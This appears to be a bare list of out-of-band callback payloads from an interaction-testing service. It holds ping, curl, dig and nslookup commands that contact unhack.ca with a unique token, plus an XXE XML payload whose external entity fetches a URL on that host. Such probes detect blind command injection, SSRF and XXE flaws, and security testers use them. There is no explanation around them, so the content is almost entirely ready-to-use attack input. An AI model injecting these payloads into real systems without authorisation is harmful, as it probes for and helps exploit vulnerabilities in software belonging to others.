$ ping -c1 -p 0049c080ffb74048e1f97920e6880000 unhack.ca
 

$ curl http://unhack.ca/p/49c080ffb74048e1f97920e68800
 

$ dig 49c080ffb74048e1f97920e68800 @unhack.ca
 

$ dig 49c080ffb74048e1f97920e68800.ns.unhack.ca
 

C:\> nslookup 49c080ffb74048e1f97920e68800 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/49c080ffb74048e1f97920e68800">]>
    <foo>&xxe;</foo>